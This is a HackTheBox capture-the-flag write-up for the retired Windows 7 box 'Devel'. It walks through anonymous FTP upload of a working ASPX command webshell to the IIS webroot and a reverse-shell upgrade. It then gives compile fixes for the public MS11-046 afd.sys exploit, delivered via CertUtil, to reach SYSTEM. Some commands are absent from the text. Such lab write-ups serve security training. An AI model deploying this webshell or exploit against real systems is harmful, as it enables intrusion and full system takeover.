Devel Writeup - HackTheBox
Devel is an unpatched Windows 7 box that combines two classic misconfigurations: anonymous FTP write access to the IIS webroot enables immediate ASPX webshell upload, and a completely unpatched kernel makes MS11-046 a straight shot to SYSTEM.
Reconnaissance
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM <DIR> aspnet_client | 03-17-17 05:37PM 689 iisstart.htm |_03-17-17 05:37PM 184946 welcome.png | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 7.5 |_http-title: IIS7 |_http-server-header: Microsoft-IIS/7.5 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
FTP allows anonymous login. The directory listing (aspnet_client, iisstart.htm, welcome.png) matches what is served on port 80 exactly: the FTP root is the IIS webroot. IIS 7.5 runs ASP.NET, so an ASPX file dropped via FTP executes immediately over HTTP.
Initial Access
ASPX webshell upload via anonymous FTP
Write a minimal ASPX webshell:
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
string cmd = Request["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>
Upload via anonymous FTP:
Name: anonymous Password: (blank) 230 User logged in.
226 Transfer complete.
Confirm execution:
<pre>iis apppool\web </pre>
RCE as iis apppool\web. Upgrade to an interactive reverse shell by sending a PowerShell TCP reverse shell one-liner through the cmd parameter, catching it locally:
Privilege Escalation
OS fingerprint
OS Name: Microsoft Windows 7 Enterprise OS Version: 6.1.7600 N/A Build 7600 Hotfix(s): N/A
Windows 7 Build 7600 with zero hotfixes installed. MS11-046 (afd.sys local privilege escalation) covers this version.
Compile fix for MS11-046
The public PoC from EDB-40564 declares ZwQuerySystemInformation as a zero-arg FARPROC, which no longer matches current mingw-w64 headers and fails to compile. Add a proper typedef:
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
Replace the FARPROC declaration and its GetProcAddress call with a typed pointer:
PZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZwQuerySystemInformation =
(PZWQUERYSYSTEMINFORMATION)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"ZwQuerySystemInformation");
Cross-compile for x86 Windows and link Winsock:
Delivery and execution
Serve the binary:
Pull it down on the target without PowerShell cradles:
CertUtil: -URLCache command completed successfully.
c:\Windows\System32>whoami nt authority\system
SYSTEM via afd.sys kernel token manipulation.